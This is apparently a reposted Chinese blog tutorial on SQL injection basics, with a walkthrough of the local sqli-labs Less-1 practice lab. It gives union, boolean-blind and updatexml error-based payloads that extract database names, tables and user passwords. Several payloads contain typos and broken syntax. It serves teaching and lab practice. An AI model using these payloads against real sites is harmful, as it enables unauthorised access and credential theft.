web安全中SQL注入基础知识点有哪些


这篇文章主要介绍“web安全中SQL注入基础知识点有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“web安全中SQL注入基础知识点有哪些”文章能帮助大家解决问题。就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。开发人员可以使用动态SQL语句创建通用,灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的sql语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select免费云主机域名语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。Php语句为列:$query=“SELECT * FROM users WHERE id = $_GET[‘id’]”;由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。 参数用户可控:前端传给后端的参数内容是用户可以控制的。 参数带入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。当传入ID参数为1’时,数据库执行的代码如下所示。 sehlect * from users where id =1'这样是会报出错误的,因为这不符合数据库语法规范。当传入的ID参数为and 1=1 时,执行的SQL语句如下所示。select * from users where id = 1' and 1=1因为1=1为真,且where语句中id1=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。由此可以初步判断ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。—————————————————————————————————————————————————————在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行开发。—————————————————————————————————————————————————————数据库A=网站A表名列名数据数据库 B=网站B在MySql5.0 版本之后,MySql默认在数据库中存放一个“information_schema”的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA,TABLES,COLUMNSSCHEMNSz表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAMETABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAMECOLUMNS表名和字段名的字段名为TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME。在不知道任何条件时,语句如下所示。SELECT 要查询的字段名 FROM 库名.表名在知道一条已知条件时,语句如下所示。SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’在知道两条已知条件时,语句如下所示。SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知道条件1的字段名=‘已知条件1的值’ AND 已知条件2的字段名=‘已知条件2的值’Limit的使用格式为limit m,n, 其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,Database():当前网站使用的数据库Version():当前MySQL的版本User():当前MySQL的用户在MySQL中,常见注释符的表达方式:#或-- 空格或/**/内联注释的形式:/! code/。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,下面举一个列:index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3在线靶场http://127.0.0.1/sqli-labs/Less-1/?id=1http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+https://blog.csdn.net/qq_41630808/article/details/80570197正常输出出错代表没有闭合 说明没有用’可能没有用’ 或用了”或()http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+则是”字符串注入http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判断是否有3列正常http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判断是否有4列错误说明它输出的内容所在的数据库有3列http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+则 Your Login name 在第二列Your Password在第三列我选择在第二列输出我想要的内容http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+root权限http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+表名是 emails,referers,uagents,usersgroup_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+ http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+这样 这个就完成了 已经拿到了账号密码在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数的ID对应的内容,然后将第一条查询结果中的usernameaddress输出到页面,由于是将数据输出到页面上的,所以利用Union语句查询其他数据,代码如下:![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58le58wz5j30ou0bo77h.jpg)当访问id=1 union select 1,2,3时,执行的SQL语句为:`Select * from users where ‘id’=1 union select 1,2,3“此时sql语句可以分为select * from users where ‘id’=1union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。(优化在源码中添加sql语句执行代码)1' and length(database())>=1--+ //判断数据库的长度l' and substr(database(),1,1)=‘t’ --+ //判断数据库第一个字母的值l' and substr(database(),2,1)=‘q’ --+ //判断数据库的第二个字母的值l' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判断数据库库名l' and substr(database(),2,1)=’q’--+ //利用substr判断数据库的库名l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判断数据库的表名1. length(str):返回str字符串的长度。2. substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始3. mid(str,pos,len):跟上面的一样,截取字符串4. ascii(str):返回字符串str的最左面字符的ASCII代码值。5. ord(str):同上,返回ascii码6. if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,当访问id=1‘ or 1=1%23时,数据库执行的语句为selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真条件,所有此时返回正常。当访问id=1‘ and 1=2%23时,数据库执行的语句为select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假条件,所有此时页面肯定会返=返回错误。updatexml(1,concat(0x7e,(select user()),0x7e),1)–+ //利用updatexml获取user()‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+ //利用updatexml获取database()`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)–+** //**利用报错注入获取数据库库名‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1)–+ //利用报错注入获取数据库表名关于“web安全中SQL注入基础知识点有哪些”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注云编程开发博客行业资讯频道,小编每天都会为大家更新不同的知识点。

相关推荐: LINUX中怎么搭建haproxy服务

这篇文章主要讲解了“LINUX中怎么搭建haproxy服务”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“LINUX中怎么搭建haproxy服务”吧!步骤1:创建本地yum源,安装必要的辅助程序步骤2:解压并编译…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/06 10:45
下一篇 02/06 10:45